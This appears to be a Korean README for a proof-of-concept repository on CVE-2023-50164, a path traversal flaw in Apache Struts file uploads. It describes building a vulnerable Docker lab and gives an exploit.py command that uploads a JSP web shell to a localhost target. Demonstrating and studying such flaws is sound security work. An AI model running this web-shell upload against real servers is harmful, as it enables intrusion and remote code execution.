CVE-2023-50164 PoC

이 저장소는 CVE-2023-50164 취약점의 개념 증명(PoC)입니다.

1. CVE-2023-50164 정보

CVE-2023-50164는 Apache Struts 웹 애플리케이션에서 발생하는 파일 경로 순회 취약점입니다.
공격자는 이 취약점을 악용하여 악성 파일(WebShell 또는 기타 악성코드)을 임의의 위치에 업로드하고 원격 코드 실행과 같은 2차 공격을 수행할 수 있습니다.

2. 취약한 환경 구축

취약한 웹 애플리케이션인 StrutsUploadApp은 Docker를 사용하여 컨테이너화되어 있습니다. 다음 단계에 따라 환경을 구축하고 배포하십시오.

제공된 Dockerfile을 사용하여 StrutsUploadApp용 Docker 이미지를 빌드하십시오.

docker build -t struts-upload-app .
docker run -d -p 8080:8080 --name StrutsUploadApp struts-upload-app 

3. 익스플로잇

익스플로잇 스크립트를 실행하여 취약점을 트리거하십시오.

python exploit.py --url=http://localhost:8080/StrutsUploadApp/upload.action \
    --file=webshell.jsp \
    --file-parameter=upload \
    --attempts=5